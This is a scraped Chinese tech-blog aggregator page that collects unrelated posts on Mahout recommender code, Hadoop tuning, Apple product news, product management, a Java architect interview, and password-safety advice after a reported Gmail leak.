  httpClient 提供了非常灵活的架构,同时提供了很多接口,需要修改时,找到对应接口和默认实现类,参照默认实现类进行修改即可(或继承默认实现类,覆盖其对应方法)。通常需要更改的类有AbstractHttpClient和各种handler以及Strategy



已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



【苹果发布会】外媒评论:Apple Watch 看不透,于行业有益

$
0
0

apple_iwatch_f_00

一年一度的科技狂欢夜落幕,对于苹果,我们总是期待它能带来惊喜,这次发布了早已泄露无遗的 iPhone 6 以及呼声更高的 Apple Watch,我们来看看外媒是怎么评价苹果本次的新品。

基本上,大部分的注意力都放在 Apple Watch 上,因为 iPhone 在经过了长达半年的精准泄露之后,已经没有什么好谈的了。当然还是要提及一下 iPhone 的领先之处,比如生态、用户忠诚度。 华尔街日报认为 iPhone 6 仍然是一款突破性产品,继续引领行业,其壁垒在于出色的体验很难被复制,用户忠诚度极高,尽管 Android 已经有 85% 的份额。

彭博社则认为,苹果仍然将希望押注在 iPhone 身上,寄希望 iPhone 的成功来提携其他产品,因为 iPhone 是刚需,而手表、支付系统、健康软件仍然充满不确定性。

来看看重头戏 Apple Watch,从社交媒体的反馈来看,Apple Watch 并没有收到太多赞誉,大家本来期待苹果能重新定义智能手表,结果发现 Apple Watch 竟然和三星 Gear 手表十分相似。 路透社的观点是“好坏参半,看不透”,鉴于 Jonathan Ive 之前 警示过瑞士手表,路透社援引了瑞士手表公司(算是苹果同行了吧)分析师 Jon Cox 的观点,认为它“让人摸不着头脑,特别是只能和 iPhone 配对,没有击中痛点,噱头意义更大。”Swatch 总裁 Nick Hayek 可以睡个安稳觉了。

看不透或者轻视,这事在 iPhone 刚发布时很多人做过,不知道这次会不会被打脸。

福布斯则对 Apple Watch 持乐观态度,它的乐观不是对苹果而言,而是整个行业,因为 Apple Watch 的发布“使得大众对智能手表以及可穿戴的认识’合法化’,智能手表不再是一群极客的玩具,而是面向大众消费者。”

更重要的是,苹果可带动上游制造业提升容量,降低材料成本,其他厂商可基于个人喜好、价格、平台提供更多选择。

而 Pebble 更有理由欢迎 Apple Watch,因为 Pebble 售价才 149 美元,在应用数量、口碑上都不错,而在 Apple Watch 漫长的等待期中,还要度过圣诞购物季,很多用户可能会购买一款低价产品来尝鲜。

福布斯认为,这是一个巨大的潜在市场,苹果瞄准了高价,每一个参与智能手表行业的人都将受益。

题图来自  福布斯

关注科技,热血而沉着,极致而纯粹。努力做一个理想主义者。

#欢迎关注爱范儿认证微信公众号:AppSolution(微信号:appsolution),发现新酷精华应用。



爱范儿 · Beats of Bits |原文链接· 查看评论· 新浪微博· 微信订阅· 加入爱范社区!


【甘道夫】Mahout推荐算法编程实践

$
0
0
引言
Taste是曾经风靡一时的推荐算法框架,后来被并入Mahout中,Mahout的部分推荐算法基于Taste实现。
下文介绍基于Taste实现最常用的UserCF和ItemCF。
本文不涉及UserCF和ItemCF算法的介绍,这方面网上资料很多,本文仅介绍如何基于Mahout编程实现。

欢迎转载,请注明来源:
http://blog.csdn.net/u010967382/article/details/39183839

步骤一:构建数据模型
UserCF和ItemCF算法的输入数据是用户偏好,用户偏好数据可以有两种形式:
  • 包含用户对目标评分的【用户ID,itemID,评分】
  • 不包含评分的【用户ID,itemID】
推荐算法的第一步是基于数据源构建数据模型,Taste构建数据模型的数据源可以有很多,比如JDBC,文件等。
下面仅介绍最常用的文件数据源:
  • 用户偏好数据包含评分
示例代码:
DataModel dm = new FileDataModel(new File("E:\\testdata\\3columns"));
  • 用户偏好数据不包含评分
示例代码:
DataModel dm = new  GenericBooleanPrefDataModel(
GenericBooleanPrefDataModel
.toDataMap(new FileDataModel(new File("E:\\testdata\\2columns"))));

步骤二:指定距离(相似度)计算方法
创建好数据模型后,第二步需要指定一种计算“距离”的方法,因为在后续的步骤中需要计算user或item之间的“距离”。
Taste提供的计算距离的方法很多,以下仅介绍常用的方法:
  • 用户偏好数据包含评分   
欧氏距离:EuclideanDistanceSimilarity
皮尔森距离:PearsonCorrelationSimilarity
余弦距离:UncenteredCosineSimilarity
  • 用户偏好数据不包含评分  
曼哈顿距离:CityBlockSimilarity
对数似然距离: LogLikelihoodSimilarity

示例代码:
UserSimilarity us = new  CityBlockSimilarity(dm);
ItemSimilarity is  = new  CityBlockSimilarity(dm);

步骤三(仅UserCF需要):选择近邻算法
如果选择使用UserCF算法做推荐,则在完成相似度计算方法的指定后,需要指定近邻算法。

  • NearestNUserNeighborhood
指定距离最近的N个用户作为邻居。
示例:UserNeighborhood unb = new NearestNUserNeighborhood(10, us, dm);
三个参数分别是: 邻居的个数,用户相似度,数据模型   
  • ThresholdUserNeighborhood
指定距离最近的一定百分比的用户作为邻居。
示例:UserNeighborhood unb = new ThresholdUserNeighborhood(0.2, us, dm);
三个参数分别是: 阀值(取值范围0到1之间),用户相似度,数据模型


步骤四:创建推荐器
实施推荐算法的最后一步就是创建推荐引擎,Taste为UserCF和ItemCF算法,针对有用户评分和没用户评分的情况,分别提供了推荐器:
  • 用户偏好数据包含评分  
示例代码:
UserCF:Recommender re = new  GenericUserBasedRecommender(dm, unb, us);
ItemCF:Recommender re = new  GenericItemBasedRecommender(dm, is);

  • 用户偏好数据不包含评分  
示例代码:
UserCF:Recommender re = new  GenericBooleanPrefUserBasedRecommender(dm, unb, us);
ItemCF:Recommender  re = new  GenericBooleanPrefItemBasedRecommender(dm, is);

题外话:
通过召回率和查准率的测试, CityBlockSimilarity + UserCF 的推荐效果最好。

示例代码:用户偏好数据不包含评分 + CityBlockSimilarity + UserCF
  • 用户偏好数据
1,101
1,102
1,103
2,101
2,102
2,103
2,104
3,101
3,104
3,105
3,107
4,101
4,103
4,104
4,106
5,101
5,102
5,103
5,104
5,105
5,106

  • 代码
import java.io.File;
import java.util.List;
import org.apache.mahout.cf.taste.impl.model.GenericBooleanPrefDataModel;
import org.apache.mahout.cf.taste.impl.model.file.FileDataModel;
import org.apache.mahout.cf.taste.impl.neighborhood.NearestNUserNeighborhood;
import org.apache.mahout.cf.taste.impl.recommender.GenericBooleanPrefUserBasedRecommender;
import org.apache.mahout.cf.taste.impl.similarity.CityBlockSimilarity;
import org.apache.mahout.cf.taste.model.DataModel;
import org.apache.mahout.cf.taste.neighborhood.UserNeighborhood;
import org.apache.mahout.cf.taste.recommender.RecommendedItem;
import org.apache.mahout.cf.taste.recommender.Recommender;
import org.apache.mahout.cf.taste.similarity.UserSimilarity;
public class UserCFRecommender {
     public  static  void main(String[] args)  throws Exception {
        // 创建数据模型,不包含用户评分
        DataModel dm =  new GenericBooleanPrefDataModel(
                GenericBooleanPrefDataModel
                        .toDataMap( new FileDataModel( new File("E:\\testdata\\2columns"))));
        // 使用曼哈顿距离计算相似度
        UserSimilarity us =  new CityBlockSimilarity(dm);

        //指定NearestNUserNeighborhood作为近邻算法
        UserNeighborhood unb =  new NearestNUserNeighborhood(10, us, dm);
        
        // 构建不包含用户评分的UserCF推荐器
        Recommender re =  new GenericBooleanPrefUserBasedRecommender(dm, unb, us);
        
        // 输出推荐结果,为1号用户推荐5个商品
        List<RecommendedItem> list = re.recommend(1, 5);
         for (RecommendedItem recommendedItem : list) {
            System. out.println(recommendedItem.getItemID()+" : "+recommendedItem.getValue());  
        }
    }
}
作者:u010967382 发表于2014-9-10 17:27:09 原文链接
阅读:80 评论:0 查看评论

iPhone 6 Plus 和 6 还有这五项区别

$
0
0

一、iPhone 6 Plus 支持光学防抖

光学防抖有助于在夜间等弱光条件下拍出好照片。

二、iPhone 6 Plus 支持横排视图

包括主屏幕在内。在短信等应用中,横排视图意味着更大的虚拟键盘按钮。

三、iPhone 6 Plus 屏幕分辨率更高

iPhone 6 Plus 采用标准的 1920×1080分辨率屏幕,PPI值为401;

iPhone 6 则采用了1334×750分辨率的屏幕,PPI值为326。

四、iPhone 6 Plus 续航更久

根据官方数据,iPhone 6 Plus续航时间大约是 iPhone 6 的 1.5 倍。

五、iPhone 6 Plus 更贵

国行售价尚未公布,港行的起售价分别是 5588 港元和 6388 港元,相差 800 港元,供参考。

最后,回到身材的问题,5.5英寸的 iPhone 6 Plus 比 4.7 英寸的 iPhone 6 :

  • 重了 43g 或 33%
  • 宽了 11mm
  • 厚了 0.2mm (可忽视)
  • 屏幕显示面积大了 37%
  • 屏幕像素数增加了 1 倍

互联网产品经理职能与职责

$
0
0

前言:由于每次都会被人问,“产品经理是什么岗位 ?”,“产品经理都做什么东西?”之类的问题。于是,我决定写一篇大体说得过去的,关于互联网产品人的职能与职责概述。如果有些的不对的或者需要补充的,欢迎来“搞”。

正文: 首先我们先列一个提纲吧,由浅入深。

1. 产品经理在公司中是什么岗位

2. 产品经理在项目中担任什么角色

3. 产品经理都需要储备哪些专业知识

4. 产品经理需要把控什么

5. 产品经理作业流程是什么

列出这么浅显易懂的问题之后,再来一一作答就感觉调理清晰多了。

A1: 首先来说第一个问题,产品经理是什么岗位

首先要说下,产品经理在没有来到互联网的时候多用于实业上,那被搬到互联网上也不难理解,其实产品经理就是一个 - 策划产品需求、跟进制作产品、管控产品质量以及后续规划产品迭代的一个重要岗位;任何实业也好,互联网产品也好,功能也好,从滋生到面向市场大众,这个过 程以及结果的背后,都离不开产品经理。

A2:产品经理在项目中担任什么角色

前一段在谷歌小组,一个国外产品人写了这样一篇文章(大概意思说下,E文太差),说产品经理的再项目中,在团 队中的职能重心是什么,其实看到这个问题的时候我也在想,因为我理解应该是策划跟执行,之后他告诉我们说,一个合格的产品经理人在项目中,重心在于管理。 我细想了一下,觉得有道理,确实在一个项目中,产品经理收集策划出所有需求以后就是分配执行这个开始我的理解也是没错的,但是忽略了对于产品的管理层,产 品经理,再怎么说也是个经理,经理级别的重心应该是管理。 那都管理些什么呢? 文中大概说到几点,首先,是人员管理;其次,是产品管理; 人员管理主要是协调、沟通、执行, 那产品管理什么呢? 产品质量、产品市场、数据管理、收益管理; 这么说就明白了,一个好的产品经理人,重要的不单单是重视内部协作,更重要的是应该把精力放在产品思想上,产品策略上,这是产品战略层的需求,也是为了配 合运营而做的基础动作。

A3:产品经理应该储备哪些知识

a - 领域常识; 每个人都有自己喜欢的领域以及有独特见解的领域,在这个领域中你才能发挥自己的特长,才能创造你应该能够创造的价值,没有任何一个人是可以多领域并且都做 的很出色的。所以,发觉自己的领域,找一个合适自己领域的企业做产品经理,深度理解这个领域的规则,才会活的开心,活的如鱼得水,也能做出更好的产品。

b - 多结善缘;我说,朋友是我的眼,帮助我开阔视野,甚至出谋划策,古人说三个臭皮匠顶个诸葛亮,三人行必有我师焉等,一个人的精力是有限的,当你专一在你的 领域的时候,你可能忽略了很多其他对你有帮助的领域里的信息,这个时候如何获得信息,朋友无疑是你的葵花宝典。

c - 倾听; 不会倾听的产品经理人不是个好木匠,需求需要倾听,协调需要倾听,管理需要倾听,因为你的产品是给大众的,而不是你自己。

d - 筛选; 要学会过滤哪些是有用的,哪些是没用的数据,要学会采集需求的时候有针对性,有唯一性。

e - 嗅觉; 对市场的嗅觉,是考核产品经理人最重要的环节。 如果你没有这个,那可能你不合适做产品经理,需要从新给自己的职场做规划了。

f - 专业; 你要拥有的专业绝对不止谈天说地,交交朋友这么简单。 你需要理解如何开发,如何展示,如何运营,这样才能更好的做出可以实行的需求文档,而不是做出来让人喷死你。我这里就不多举例说明了,相信很多产品经理会 被问到类似的问题,一旦需求有一些变动,你自己感觉是一点,但是技术会告诉你有多少代码需要重构,前端会告诉你,前端布局有多大量的更改。在没有足够多的 专业知识之前,尽量虚心请教,制定靠谱的方案,这里不是妥协,是曲线救国。当然为了避免这样问题发生,你可以平时多做一些储备,比如学习下编程、看看什么 是 OOP OOD思想、了解下MVC架构、CSS、数据库设计、分布式部署、服务器安全、UI、UE设计等。丰富自己的路是艰辛的,如果你有项目经理,可以先从跟他 学习开始。

d - 其他; 这里的其他有很多,比如心理学,如何跟一个傻逼相处,产品经理的B格如何提升,之类的只是还是需要普及的,那其实蛮多的,也是根据兴趣,根据自己做的领域 去深度学习,在产品经理的人生中最,是要比其他人多付出努力的,郭德纲说,相声门槛低,会说中国话就成,大家挤破头的学相声,入门一段时间了,才发现,门 槛在里面。形象的比喻来说,入门在山脚,门槛在山腰。 产品经理也是一样,入门虽易,做好甚难,且行且珍惜。

A4:产品经理需要把控什么

这里只给关键字,与项目经理一样, 质量! 时间! 需求! 市场! 数据!

A5: 产品经理的作业流程是什么

这个问题比较概念化,因为每个团队也好公司也好的结构是不一样的,所以不太好解答,但是我想步骤是类似的;

a - 分析市场

b - 制定需求

c - 开发产品

d - 数据分析

e - 产品迭代

产品经理要做的只是其中的某些环节,但是流程上是要全程跟进的。因为产品就是产品经理人的心血。从开始,到灭亡。生死权一大部分在你手里,只要你玩的好,就能玩出精彩。

尾言:有人问,如何PK程序员跟设计师,我感觉这就是本事,产品经理人也是一个热衷于讲故事的人,他(她)要有感染力,要有亲和力,要霸气,要合 群。 为人处世在当下的企业环境下是必须品,你除了要有过硬的专业知识,懂得中间流程,善于举例讲故事,还要会拿出实实在在的数据叫板他们,直到说到他们心服口 服为止。在工作上让他们折服,也是挺好的事情,在生活中,也要懂得体谅他们,为他们着想。 记得以前我带我的团队的时候,加班的晚餐都是我买好送到每个人桌上,项目成了多给大家一些。在企业中你要懂得“照顾”他们,为他们减压,为他们争取利益, 才能更好的共事。当然 这就是个建议。

本文来自: 市场部


(关注更多人人都是产品经理观点,参与微信互动(微信搜索“人人都是产品经理”或“woshipm”)

【转载】架构师需要努力的方向

$
0
0

这是在其他博客看到的文章,贴在这里是想告诉自己学习的方向。。

公司的兄弟部门要招一个JAVA平台的架构师,

一位来面试的兄弟简历上做了十五年的编程,十二年JAVA工作经历.经历过N多的公司.原面试的一个女同事经历较浅,怕罩不住,请我帮她面试一下.

我看了一下简历,大多数时间在做CRM,工作流,办公系统类的项目,也有两家公司是国内比较知名的互联网应用的项目.

我面试的一贯原则不会问我自己懂的东西,而是看对方的行业经验去问他自己熟悉的东西.

下面是面试的内容:

  谈谈一般工作流中流程引擎处理的对象模型.

  答:我做的都是特定于某个需求的流程,不了解通用的工作流处理的原理.(十五年的经验不知道一点模型抽象,一直在造轮子).

  谈谈WEB应用中大规模用户高并发需求的网站架构一般原则.

  答:(内容不少,但主要是以一几点)

     1.负载均衡,2 cache(自己介绍一个投票系统,用户投票数据直接放在cache中).3数据库读写分离.

  如何做数据库读写分离,谈谈你做过的经验.

  答:我自己没做过这些方案,就是看过这样的方案介绍.

  如果新增数据也放在cache中,如何保证出现异常时数据不丢失?

  答:我可以在容器关闭前写到数据库,平时每10分钟与数据库同步一次.

  对于大规模用户的WEB应用,10分钟可能上百万的数据,要是突然当机来不及同步到数据库怎么办?

  答:.......................没考虑过.

  网站的负载均衡有哪些模型?

  答:没有做过,按照我的理解就是多点分布.

  那你谈谈自己最熟悉的技术点在哪方面?

  答:JAVA技术方面,比如多线程.

  OK,那我们聊聊JAVA技术.JVM底层技术有了解吗?

  答:这个当然了解.

  请用你知道的知识描述一下GC的工作原理.

  答:一个对象没有引用的时候就可以被回收.

  那么怎么知道对象没有引用了呢?

  答:这个不知道.

  GC是如何分代的?

  答:什么分代?我不了解.

  关于GC还了解哪些?

  答:其它的不清楚,我记得只要对象没有引用就可以回收了.

  OK,多线程方面,jdk5以后的concurrent包中的数据结构用过哪些?

  答:数据结构是什么意思?

  就是相当于java.util下面的容器类.

  答:我用过threadpoolexecutor.

  我问的是数据结构或叫容器,比如说List,Map这类的数据结构.

  答:没有用过,我平时用的都是同步之类多线程(意思是1.5之前的并发编程类库).

  OK,请简单画一下JAVA的内存模型.

  答:内存模型?不了解,我画不出来.

  那么请说说volatile关键字在JAVA5之前有什么作用.

  答:没听说过这个关键字.

  那么,进入同步块和离开同步块时,变量是如何同步的?

  答:这些底层的东西我都不了解,主要是做应用层。

   主要做应用层,那么熟悉使用的框架吗?

   答:是啊.struts,hibernate,spring这些框架比较熟悉。

   hibernate中,l1,l2的cache,给一个经验值.

   答:没有做过.我主要是使用它的功能,都是默认设置.

   volecity中,如果我要在渲染到页面之前统一对内容进行拦截处理应该如何做?

   答:做一个filter,在请求进来的时候拦截.

   我说的是 velocity中渲染到页面之前的拦截.

   答:这个我不知道.

   那你谈谈你平时做哪些工作.

   答:用jsp,struts,hibernate,spring做业务逻辑.

   十几年都是做这些吗?

   答:以前没有这些框架,就是用JSP连接数据库.

   你使用这些"东西"这么久,有对这些"东西"的原理研究过吗?或者去读一下它们的源码.

   答:没有.就是一直在用.

........................................................................................................................

  下面我实在不想问了, 因为我的时间成本也很高的,浪费不起.(当时是在上班时间,和现在的休息时间闲扯不能比).

我真的为这个兄弟心酸,如果面试的是普通开发,我还可以理解,你是一个有十五年经验的人,十二年的JAVA工作经历,而且你面试的是一个架构师.说实话当一个5000元左右的开发人员我还不愿意要,因为同样一个5000元的招一个没有经验的学生,但发展潜力比他要大多了.但是他的要求是20000元的架构师职位.

我并不是说每个人都要有相同的积累和追求,象这位兄弟,如果去外包公司做应用开发,应该是一个很不错的有经验的开发工程师。但是目前平均来说,做外包开发可能不会突破的收入。你要想改变,就要改变你努力的方向。

十多年的JAVA应用,你就是不想了解,也会被别人硬灌给你GC原理这些知识啊.你就是捂着耳朵也会漏进一些声音让你了解一些并发包的数据结构啊.

我们在打造10亿用户的平台,他却连50万用户规模的方案不知道如何部署.不是我们不给机会,实在是兄弟你真的拿不出我们需要的积累.

 

本文来自CSDN博客,转载请标明出处: http://blog.csdn.net/axman/archive/2010/04/24/5523746.aspx

 



已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



Hadoop性能调优--用户角度

$
0
0
hadoop为用户作业提供了多种可配置的参数,以允许用户根据作业特点调整这些值
使作业运行效率达到最优。

程序编写规范

(1)设置Combiner

如果是一大批MR程序,如果可以设置一个Combiner,Combiner可减少Map Task中间输出结果,从而减少各个Reduce Task的远程拷贝数据

量,最终表现为Map Task和Reduce Task执行时间缩短。

(2)选择合理的Writable类型

在MR模型中,Map Task和Reduce Task的输入和输出数据类型均为Writable。
为应用程序处理的数据类型选择合适的Writable类型可大大提升性能。比如处理整型数据时,直接采用IntWritable比先
以Text类型读入再转换成整型要高效。吐过如果输出的整型大部分可用一个或者两个字节保存,那么可直接采用VIntWritable或者
VLongWritable。它们采用了变长整型编码方式,可大大减少输出数据量。

作业级别参数调优

1.规划合理的任务数目

一个作业的任务数目对作业运行时间有重要的影响。如果一个作业的任务数目过多
(这意味着每个任务处理数据很少,执行时间很短),则任务启动时间所占比例将会大大增加;反之,如果一个
作业的任务数目过少(这意味着每个任务处理数据很多,执行时间很长),则可能会产生过多的溢写数据影响任务
执行性能,且任务失败后重新计算代价过大。
在hadoop中,每个Map Task处理一个Input Split。Input Split的划分方式
是由用户自定义的InputFormat决定的,默认情况下,由以下三个配置参数
决定:
mapred.min.split.size:Input Split的最小值(在mapred-site.xml中配置)
mapred.max.split.size:Input Split的最大值(在mapred-site.xml中配置)
dfs.block.size:HDFS中一个block大小(在hdfs-site.xml中配置)

每个作业的Reduce Task数目通常由用户决定。
用户可根据估算的Map Task输出数据量设置Reduce Task数目,以防止每个
Reduce Task处理的数据量过大造成大量写磁盘操作。

2.增加输入文件副本数

如果一个作业并行执行的任务数量非常多,
为防止多个任务并行读取一个文件内容造成瓶颈,用户可根据需要增加输入
文件的副本数目。用户可通过在客户端配置hdfs-site.xml中增加以下配置
选项修改文件副本数,比如将客户端上传的所有数据副本数设置为5:
<property>
   <name>dfs.replication</name>
   <value>5</value>
</property>

3.启用推测执行机制

当一个作业的某些任务运行速度明显慢于同作业的其他任务时,hadoop会在另一个节点上为“慢任务”启动一个备份任务,
这样,两个任务同时处理一份数据,而hadoop最终会将优先完成的那个任务的结果作为最终结果,并将另外一个任务kill掉。


                                                   启用推测执行机制
Hadoop版本号 配置参数                                      默认值

0.20.x,cdh 3          mapred.map.tasks.speculative.execution          true

                               mapred.reduce.tasks.speculative.execution       true
0.21.x,0.22.x         mapreduce.map.speculative                                  true
                               mapreduce.reduce.speculative                              true

4.设置失败容忍度

hadoop允许设置作业级别和任务级别的失败容忍度。
作业级别的容忍度是指Hadoop允许每个作业有一定比例的任务运行失败,
这部分任务对应的输入数据将被忽略(这些数据不会有产出);
任务级别的失败容忍是指Hadoop允许任务运行失败后再次在另外节点上尝试运行,如果一个任务经过若干次尝试运行后仍然运行失败,

那么Hadoop才会最终认为该任务运行失败。



5.适当打开JVM重用功能

方便任务的隔离,hadoop将每个任务放到一个单独的jvm中执行,
执行时间较短的任务,jvm启动和关闭将占用很大比例的时间,
为此,用户可启用jvm重用功能:

                               设置jvm重用

hadoop版本 配置参数                              默认值

0.20.x,cdh3     mapred.job.reuse.jvm.num.tasks            1

0.21.x,0.22.x   mapreduce.job.jvm.num.tasks                 1


1表示每个jvm只能启动一个Task,若为-1则表示每个JVM可运行的Task数目不受限制。


6.设置任务超时时间

设置任务超时时间
hadoop版本号 配置参数默认值
0.20.x,CDH 3 mapred.task.timeout600 000(单位是毫秒,10分钟)
0.21.x,0.22.x mapreduce.task.timeout  600 000(单位是毫秒,10分钟)

7.合理使用DistributedCache

当用户的应用程序需要一个外部文件(比如字典、配置文件等)时,通常需要使用
DistributedCache将文件分发到各个节点上。
一般有两种方式得到外部文件:一种是外部文件与应用程序jar包一起放到客户端,
当提交作业时由客户端上传到hdfs的一个目录下,然后通过DistributedCache
分发到各个节点上;
第二种是事先将外部文件直接放到hdfs上。


第二种比第一种更高效。第二种方式不仅节省了客户端上传文件的时间,
还隐含着告诉DistributedCache:“请将文件下载到各节点的public级别
(而不是private级别)共享目录中”,这样,后续所有的作业科重用已经下载好的文件,
不必重复下载,即“一次下载,终生受益”。

8.合理控制Reduce Task的启动时机。。

从运算逻辑上讲,Reduce Task应晚于Map Task启动。在Hadoop中,合理
控制Reduce Task启动时机不仅可以加快作业运行速度,而且可提高系统资源利用率。
如果Reduce Task启动过早,则可能由于Reduce Task长时间占用Reduce slot资源造成
“slot Hoarding”现象,从而降低资源利用率;反之,如果Reduce Task启动
过晚,则会导致Reduce Task获取资源延迟,增加了作业在运行时间。


                                          设置Reduce Task启动时机
hadoop版本号                     配置参数                          默认值

0.20.x,CDH 3 mapred.reduce.slowstart.completed.maps    0.05(Map Task完成数目达到5%时,开始启动Reduce Task)


0.21.x,0.22.x mapreduce.job.reduce.slowstart.completed.maps   同上

9.跳过坏记录

hadoop是用于处理海量数据的,对于大部分数据密集型应用而言,丢弃一条或者几条数据对最终结果的影响并不大,
正因为如此,hadoop为用户提供了跳过坏记录的功能。当一条或者几条数据记录导致任务运行失败时,
Hadoop可自动识别并跳过这些坏记录。。。。

10.提高作业优先级


一个作业的优先级越高,它能够获取的资源(指slot数目)也越多。
通常而言,在生产环境中,管理员已经按照作业重要程度对作业进行了分级,不同重要程度的作业
允许配置的优先级不同,用户不可以擅自调整。


设置作业优先级


Hadoop版本号 配置参数                         默认值
0.20.x,CDH 3      mapred.job.priority NORMAL
0.21.x,0.22.x          mapreduce.job.priority     NORMAL


任务级别参数调优

1.MapTask调优

Map Task的输出结果被存放到一个环形缓冲区中,这个缓冲区的大小由参数“io.sort.mb”指定(默认100MB)。
该缓冲区主要由两部分组成:索引和实际数据。默认情况下,索引占整个buffer的比例为io.sort.record.percent(默认为

5%),剩下的空间全部存放数据,当且仅当满足一下任意一个条件时,才会触发一次flush,生成一个临时文件:

索引空间使用率达到比例为io.sort.spill.percent(默认是0.8,即80%)
数据空间使用率达到比例为io.sort.spill.percent(默认是0.8,即80%)

合理调整io.sort.record.percent值,可减少中间文件数目,提高任务执行效率。
例如:如果你的key/value非常小,则可以适当调大io.sort.record.percent值,以防止索引空间优先达到使用上限
触发flush。考虑到每条数据记录(一个key/value)需占用索引大小为16B,因此,建议io.sort.record.percent=16/(16+R)
其中R为平均每条记录的长度。

综上所述,用户可根据自己作业的特点对以下参数进行调优:
io.sort.mb
io.sort.record.percent
io.sort.spill.percent

2.ReduceTask调优

Reduce Task会启动多个拷贝线程从每个Map Task上读取相应的中间结果,
拷贝线程数由mapred.reduce.parallel.copies(默认为5)指定。对于每个待拷贝的文件,
如果文件大小小于一定阀值A,则将其放到内存中,否则以文件的形式存放到磁盘上。
如果内存中文件满足一定条件D,则会将这些数据写入磁盘,而当磁盘上文件数目达到io.sort.factor(默认是10)
时,进行一次合并。阀值A为:
heapsize*{mapred.job.shuffle.input.buffer.percent}*0.25

其中,heapsize是通过参数“mapred.child.java.opts”指定的,默认是200MB;
mapred.job.shuffle.input.buffer.percent默认大小为0.7。

条件D为以下两个条件中任意一个:
1.内存使用率(总的可用内存为heapsize*{mapred.job.shuffle.input.buffer.percent})
达到mapred.job.shuffle.merge.percent(默认是0.66)。
2.内存中文件数目超过mapred.inmem.merge.threshold(默认是1000)


综上所述,用户可根据自己作业的特点对以下参数调优:
1.mapred.reduce.parallel.copies
2.io.sort.factor
3.mapred.child.java.opts
4.mapred.job.shuffle.input.buffer.percent
5.mapred.inmem.merge.threshold








作者:u013361361 发表于2014-9-9 22:58:21 原文链接
阅读:22 评论:0 查看评论

關於Gmail五百萬筆密碼洩漏傳聞與資安提醒

$
0
0

在網路上看到 Gmail 密碼外洩消息,我「震驚」了…由於與個人資安切身相關,當然要深入了解,便找了資料來讀,順便整理分享。

本週二,有人在俄羅斯 Bitcom 論壇貼了一份 493 萬筆 Gmail 帳號密碼清單,被俄羅斯媒體 CNews 報導後,隨即在網路「瘋傳」(咳… 可以不要玩這些哏了嗎?)。論壇管理者事後移除清單裡的密碼,只留下帳號,而貼出清單的原PO則再跑出來聲稱其中 60% 的密碼是有效的。

初步分析帳號名稱,主要來自英國、西班牙及俄羅斯,且看起來是長時間蒐集所得,部分帳號已改過密碼或停用。依 Google 的看法,並沒有證據顯示 Gmail 系統出現漏洞導致密碼被竊,而目前大家也較認同洩漏源自「密碼共用」。猜測為使用者在其他網站註冊會員時使用 Gmail 作為登入ID,同時又將密碼設定與 Gmail 相同,一旦該網站被駭或作業疏失造成帳號密碼外洩,就等同 Gmail 帳號密碼流入他人之手。

網路媒體 Mashable 則有更明確的資訊。依據資安專家 Matteo Flora 檢測:清單有 60 位他認識的人,經連繫,其中 30 位指出清單上的密碼從未用在 Gmail 或是年代久遠。另外,陸續有很多位名列清單的使用者證實,清單所指的密碼從未用於Gmail。由此推論,清單來自其他網站會員資料庫的可能性頗高。

有人寫了網站服務可以檢查自己的帳號是否在洩漏清單中,但提供者身分不明,要當心輸入的 Email 被拿來發垃圾信。(另外,如果將來出現網站要你輸入 Gmail 帳號密碼檢查有沒有外洩,千萬別 Key 呀!)如果有疑慮,建議馬上改密碼,這是絕無副作用的自保之道。

個人結論如下:

  1. 此次所謂 500 萬筆 Gmail 密碼,蒐集自其他網站註冊資料的可能情極高,應非 Gmail 服務出現資安漏洞,不需驚慌,若有疑慮,就把密碼換掉吧!Z > B。
  2. 不要共用密碼!不要共用密碼!不要共用密碼!很重要,所以說三次。
    每個網站的安全防護強度不一,全部共用同一組密碼,代表任一網站被破,所有網站身分的安全性都亮紅燈。擔心密碼太多記不住?請愛用 KeyPass
  3. 請善用「兩步驟驗證」, GmailHotmail都已支援。既然電子郵件已是網路身分的重要依據,裡面又擺滿個資,沒理由不讓它更安全一點。啟用兩步驟驗證後,要用陌生機器登入,就需要簡訊認證,如此歹徒就算拿到密碼,沒有你的手機也無法登入。
  4. 遇到有好心網站要你提供 Email、帳號及密碼說要幫你尋找朋友、檢查帳號安全,輸入前請張大眼睛,當心被騙。

【參考資料】

Viewing all 15845 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>